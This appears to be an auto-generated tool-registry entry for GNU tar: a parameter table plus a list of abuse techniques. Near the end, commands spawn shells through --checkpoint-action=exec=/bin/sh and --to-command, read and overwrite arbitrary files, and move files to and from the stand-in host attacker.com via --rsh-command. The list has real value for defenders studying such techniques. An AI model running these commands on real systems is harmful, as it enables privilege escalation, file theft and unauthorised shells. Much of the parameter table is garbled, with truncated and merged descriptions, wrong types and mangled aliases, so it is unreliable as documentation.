GNU tape archiver; can read/write files, transfer data, and spawn shells via checkpoint actions Can also download files, read arbitrary files, write to arbitrary files, spawn an interactive shell, upload files.
tartarSandbox: execFile · Timeout: 30s
network.transfer.download system.file.read system.file.write security.privilege-escalation.shell network.transfer.upload | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
absolute-names | string | No | - | don't strip leading '/'s from file names | -P, --absolute-names |
acls | string | No | - | Enable the POSIX ACLs support | --acls |
add-file | file | No | - | add given FILE to the archive (useful if its name | --add-file |
anchored | string | No | - | patterns match file name start | --anchored |
append | string | No | - | append files to the end of an archive | -r, --append |
atime-preserve | string | No | - | preserve access times on dumped files, either | --atime-preserve |
auto-compress | string | No | - | use archive suffix to determine the compression | -a, --auto-compress |
backup | string | No | - | backup before removal, choose version CONTROL | --backup |
block-number | string | No | - | show block number within archive with each message | -R, --block-number |
blocking-factor | string | No | - | BLOCKS x 512 bytes per record | -b, --blocking-factor |
bzip2 | string | No | - | filter the archive through bzip2 | -j, --bzip2 |
catenate | string | No | - | append tar files to an archive | -A, --catenate, --concatenate |
check-device | string | No | - | check device numbers when creating incremental | --check-device |
check-links | string | No | - | print a message if not all links are dumped | -l, --check-links |
checkpoint | string | No | - | (default 10) --checkpoint-action=ACTION execute ACTION on each checkpoint --full-time print file time to its full resolution --index-file=FILE send verbose output to FILE | --checkpoint |
checkpoint_action | boolean | No | - | execute ACTION on each checkpoint | --checkpoint-action |
clamp-mtime | string | No | - | only set time when the file is more recent than | --clamp-mtime |
compress | string | No | - | filter the archive through compress | -Z, --compress, --uncompress |
create | string | No | - | create a new archive | -c, --create |
delay-directory-restore | string | No | - | delay setting modification times and | --delay-directory-restore |
delete | string | No | - | delete from the archive (not on mag tapes!) | --delete |
dereference | string | No | - | follow symlinks; archive and dump the files they | -h, --dereference |
diff | string | No | - | find differences between archive and file system | -d, --diff, --compare |
directory | file | No | - | change to directory DIR | -C, --directory |
exclude | string | No | - | exclude files, given as a PATTERN | --exclude |
exclude-backups | string | No | - | exclude backup and lock files | --exclude-backups |
exclude-caches | string | No | - | exclude contents of directories containing | --exclude-caches |
exclude-caches-all | string | No | - | exclude directories containing CACHEDIR.TAG | --exclude-caches-all |
exclude-caches-under | file | No | - | CACHEDIR.TAG --exclude-ignore=FILE read exclude patterns for each directory from FILE, if it exists --exclude-ignore-recursive=FILE read exclude patterns for each directory and its subdirectories from FILE, if it exists --exclude-tag=FILE exclude contents of directories containing FILE, except for FILE itself --exclude-tag-all=FILE exclude directories containing FILE --exclude-tag-under=FILE exclude everything under directories containing FILE --exclude-vcs exclude version control system directories --exclude-vcs-ignores read exclude patterns from the VCS ignore files --no-null disable the effect of the previous --null option --no-recursion avoid descending automatically in directories --no-unquote do not unquote input file or member names --no-verbatim-files-from -T treats file names starting with dash as options (default) --null -T reads null-terminated names; implies --verbatim-files-from --recursion recurse into directories (default) | --exclude-caches-under |
exclude-from | file | No | - | exclude patterns listed in FILE | -X, --exclude-from |
exclude_ignore | boolean | No | - | read exclude patterns for each directory from | --exclude-ignore |
exclude_ignore_recursive | boolean | No | - | --exclude-ignore-recursive | |
exclude_tag | boolean | No | - | exclude contents of directories containing FILE, | --exclude-tag |
exclude_tag_all | boolean | No | - | exclude directories containing FILE | --exclude-tag-all |
exclude_tag_under | boolean | No | - | exclude everything under directories | --exclude-tag-under |
exclude_vcs | boolean | No | - | exclude version control system directories | --exclude-vcs |
exclude_vcs_ignores | boolean | No | - | read exclude patterns from the VCS ignore files | --exclude-vcs-ignores |
extract | string | No | - | extract files from an archive | -x, --extract, --get |
file | string | No | - | use archive file or device ARCHIVE | -f, --file |
files-from | file | No | - | get names to extract or create from FILE | -T, --files-from |
flag-o | string | No | - | when creating, same as --old-archive; when | -o |
force-local | string | No | - | archive file is local even if it has a colon | --force-local |
format | string | No | - | create archive of the given format | -H, --format |
format-2 | string | No | - | -f, -b, --format, --quoting-style, --rmt-command | |
full_time | boolean | No | - | print file time to its full resolution | --full-time |
group | string | No | - | force NAME as group for added files | --group |
group-map | file | No | - | use FILE to map file owner GIDs and names | --group-map |
gzip | string | No | - | filter the archive through gzip | -z, --gzip, --gunzip, --ungzip |
hard-dereference | string | No | - | follow hard links; archive and dump the files they | --hard-dereference |
help | string | No | - | give this help list | -?, --help |
hole-detection | string | No | - | --ignore-failed-read do not exit with nonzero on unreadable files --level=NUMBER dump level for created listed-incremental archive --no-check-device do not check device numbers when creating incremental archives --no-seek archive is not seekable | --hole-detection |
ignore-case | string | No | - | ignore case | --ignore-case |
ignore-command-error | string | No | - | --no-ignore-command-error treat non-zero exit codes of children as error | --ignore-command-error |
ignore-zeros | string | No | - | ignore zeroed blocks in archive (means EOF) | -i, --ignore-zeros |
ignore_failed_read | boolean | No | - | do not exit with nonzero on unreadable files | --ignore-failed-read |
incremental | string | No | - | handle old GNU-format incremental backup | -G, --incremental |
index_file | boolean | No | - | send verbose output to FILE | --index-file |
info-script | string | No | - | run script at end of each tape (implies -M) | -F, --info-script, --new-volume-script |
interactive | string | No | - | ask for confirmation for every action | -w, --interactive, --confirmation |
keep-directory-symlink | string | No | - | preserve existing symlinks to directories when | --keep-directory-symlink |
keep-newer-files | string | No | - | don't replace existing files that are newer than | --keep-newer-files |
keep-old-files | string | No | - | don't replace existing files when extracting | -k, --keep-old-files |
label | string | No | - | create archive with volume name TEXT; at | -V, --label |
list | string | No | - | list the contents of an archive | -t, --list |
listed-incremental | file | No | - | handle new GNU-format incremental backup | -g, --listed-incremental |
lzip | string | No | - | filter the archive through lzip | --lzip |
lzma | string | No | - | filter the archive through xz | --lzma |
lzop | string | No | - | filter the archive through lzop | --lzop |
mode | string | No | - | force (symbolic) mode CHANGES for added files | --mode |
mtime | string | No | - | set mtime for added files from DATE-OR-FILE | -O, -F, --mtime |
multi-volume | string | No | - | create/list/extract multi-volume archive | -M, --multi-volume |
newer | string | No | - | only store files newer than DATE-OR-FILE --one-file-system stay in local file system when creating archive | -N, -O, -F, -O, -F, --newer, --after-date |
newer_mtime | boolean | No | - | compare date and time when data changed only | --newer-mtime |
no-acls | string | No | - | Disable the POSIX ACLs support | --no-acls |
no-anchored | string | No | - | patterns match after any '/' (default for | --no-anchored |
no-auto-compress | string | No | - | do not use archive suffix to determine the | --no-auto-compress |
no-delay-directory-restore | integer | No | - | cancel the effect of --delay-directory-restore option --no-same-owner extract files as yourself (default for ordinary users) --no-same-permissions apply the user's umask when extracting permissions from the archive (default for ordinary users) --numeric-owner always use numbers for user/group names --owner=NAME force NAME as owner for added files --owner-map=FILE use FILE to map file owner UIDs and names | --no-delay-directory-restore |
no-ignore-case | string | No | - | case sensitive matching (default) | --no-ignore-case |
no-overwrite-dir | string | No | - | preserve metadata of existing directories | --no-overwrite-dir |
no-quote-chars | string | No | - | disable quoting for characters from STRING | --no-quote-chars |
no-selinux | string | No | - | Disable the SELinux context support | --no-selinux |
no-wildcards | string | No | - | verbatim string matching | --no-wildcards |
no-wildcards-match-slash | string | No | - | wildcards do not match '/' | --no-wildcards-match-slash |
no-xattrs | string | No | - | Disable extended attributes support | --no-xattrs |
no_check_device | boolean | No | - | do not check device numbers when creating | --no-check-device |
no_ignore_command_error | boolean | No | - | exit codes of children as | --no-ignore-command-error, -zero |
no_null | boolean | No | - | option | --no-null, --null |
no_recursion | boolean | No | - | avoid descending automatically in directories | --no-recursion |
no_same_owner | boolean | No | - | extract files as yourself (default for ordinary | --no-same-owner |
no_same_permissions | boolean | No | - | apply the user's umask when extracting permissions | --no-same-permissions |
no_seek | boolean | No | - | archive is not seekable | --no-seek |
no_unquote | boolean | No | - | do not unquote input file or member names | --no-unquote |
no_verbatim_files_from | boolean | No | - | treats file names starting with dash as | --no-verbatim-files-from, -T |
null | boolean | No | - | names; implies | --null, -T, -terminated |
numeric_owner | boolean | No | - | always use numbers for user/group names | --numeric-owner |
occurrence | array | No | - | in the archive; this option is valid only in conjunction with one of the subcommands --delete, --diff, --extract or --list and when a list of files is given either on the command line or via the -T option; NUMBER defaults to 1 --sparse-version=MAJOR[.MINOR] set version of the sparse format to use (implies --sparse) | --occurrence |
old-archive | string | No | - | same as --format=v7 --pax-option=keyword[[:]=value][,keyword[[:]=value]]... control pax keywords --posix same as --format=posix | --old-archive, --portability |
one-top-level | file | No | - | extracted --overwrite overwrite existing files when extracting --overwrite-dir overwrite metadata of existing directories when extracting (default) --recursive-unlink empty hierarchies prior to extracting directory --remove-files remove files after adding them to the archive --skip-old-files don't replace existing files when extracting, silently skip over them | --one-top-level |
one_file_system | boolean | No | - | stay in local file system when creating archive | --one-file-system |
overwrite | boolean | No | - | overwrite existing files when extracting | --overwrite |
overwrite_dir | boolean | No | - | overwrite metadata of existing directories when | --overwrite-dir |
owner_map | boolean | No | - | use FILE to map file owner UIDs and names | --owner-map |
pax_option | boolean | No | - | --pax-option | |
posix | boolean | No | - | --posix, --format | |
preserve-order | string | No | - | member arguments are listed in the same order as the files in the archive | -s, --preserve-order, --same-order |
preserve-permissions | file | No | - | extract information about file permissions (default for superuser) --same-owner try extracting files with the same ownership as exists in the archive (default for superuser) --sort=ORDER directory sorting order: none (default), name or inode | -p, --preserve-permissions, --same-permissions |
quote-chars | string | No | - | additionally quote characters from STRING | --quote-chars |
quoting-style | string | No | - | values | --quoting-style |
read-full-records | string | No | - | reblock as we read (for 4.2BSD pipes) | -B, --read-full-records |
record-size | integer | No | - | NUMBER of bytes per record, multiple of 512 | --record-size |
recursion | boolean | No | - | recurse into directories (default) | --recursion |
recursive_unlink | boolean | No | - | empty hierarchies prior to extracting directory | --recursive-unlink |
remove_files | boolean | No | - | remove files after adding them to the archive | --remove-files |
restrict | string | No | - | disable use of some potentially harmful options | --restrict |
rmt-command | string | No | - | --rsh-command=COMMAND use remote COMMAND instead of rsh --volno-file=FILE use/update the volume number in FILE | --rmt-command |
rsh-command | string | No | - | --rsh-command | |
same_owner | boolean | No | - | try extracting files with the same ownership as | --same-owner |
seek | string | No | - | archive is seekable | -n, --seek |
selinux | string | No | - | Enable the SELinux context support | --selinux |
show-defaults | string | No | - | show tar defaults | --show-defaults |
show-omitted-dirs | file | No | - | when listing or extracting, list each directory | --show-omitted-dirs |
show-snapshot-field-ranges | string | No | - | show valid ranges for snapshot-file fields --show-transformed-names, --show-stored-names show file or archive names after transformation --totals[=SIGNAL] print total bytes after processing the archive; with an argument - print total bytes when this SIGNAL is delivered; Allowed signals are: SIGHUP, SIGQUIT, SIGINT, SIGUSR1 and SIGUSR2; the names without SIG prefix are also accepted --utc print file modification times in UTC | --show-snapshot-field-ranges |
show_transformed_names | boolean | No | - | --show-transformed-names, --show-stored-names | |
skip_old_files | boolean | No | - | don't replace existing files when extracting, | --skip-old-files |
sparse | string | No | - | handle sparse files efficiently | -S, --sparse |
sparse_version | boolean | No | - | --sparse-version | |
starting-file | string | No | - | begin at member MEMBER-NAME when reading the archive --newer-mtime=DATE compare date and time when data changed only | -K, -N, --starting-file |
strip-components | integer | No | - | strip NUMBER leading components from file | --strip-components |
suffix | string | No | - | backup before removal, override usual suffix ('~' | --suffix |
tape-length | integer | No | - | change tape after writing NUMBER x 1024 bytes | -L, --tape-length |
test-label | string | No | - | test the archive volume label and exit | --test-label |
to-command | string | No | - | pipe extracted files to another program | --to-command |
to-stdout | string | No | - | extract files to standard output | -O, --to-stdout |
totals | boolean | No | - | print total bytes after processing the archive; | --totals |
touch | string | No | - | don't extract file modified time | -m, --touch |
transform | string | No | - | use sed replace EXPRESSION to transform file names | --transform, --xform |
unlink-first | string | No | - | remove each file prior to extracting over it | -U, --unlink-first |
unquote | file | No | - | unquote input file or member names (default) | --unquote |
update | string | No | - | only append files newer than copy in archive | -u, --update |
usage | string | No | - | give a short usage message | --usage |
use-compress-program | string | No | - | filter through PROG (must accept -d) | -I, --use-compress-program |
utc | boolean | No | - | print file modification times in UTC | --utc |
verbatim-files-from | string | No | - | handling) | -T, --verbatim-files-from |
verbose | string | No | - | verbosely list files processed | -v, --verbose |
verify | string | No | - | attempt to verify the archive after writing it | -W, --verify |
version | string | No | - | print program version | --version |
volno_file | boolean | No | - | use/update the volume number in FILE | --volno-file |
warning | string | No | - | warning control | --warning |
wildcards | string | No | - | use wildcards (default for exclusion) | --wildcards |
wildcards-match-slash | string | No | - | wildcards match '/' (default for exclusion) | --wildcards-match-slash |
xattrs | string | No | - | Enable extended attributes support | --xattrs |
xattrs-exclude | string | No | - | --xattrs-include=MASK specify the include pattern for xattr keys | --xattrs-exclude |
xattrs_include | boolean | No | - | specify the include pattern for xattr keys | --xattrs-include |
xz | string | No | - | filter the archive through xz | -J, --xz |
zstd | string | No | - | filter the archive through zstd | --zstd |
Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | none |
| Disk I/O | low |
Download files
tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/sshRead arbitrary files
tar cf /dev/stdout /path/to/input-file -I 'tar xO'Write to arbitrary files
echo DATA >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@Spawn an interactive shell
tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/shSpawn an interactive shell
tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"'Spawn an interactive shell
echo '/bin/sh 0<&1' >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar xf /path/to/temp-file.tar --to-command /bin/shUpload files
tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/sshtar is a command-line utility. GNU tape archiver; can read/write files, transfer data, and spawn shells via checkpoint actions Can also download files, read arbitrary files, write to arbitrary files, spawn an interactive shell, upload files.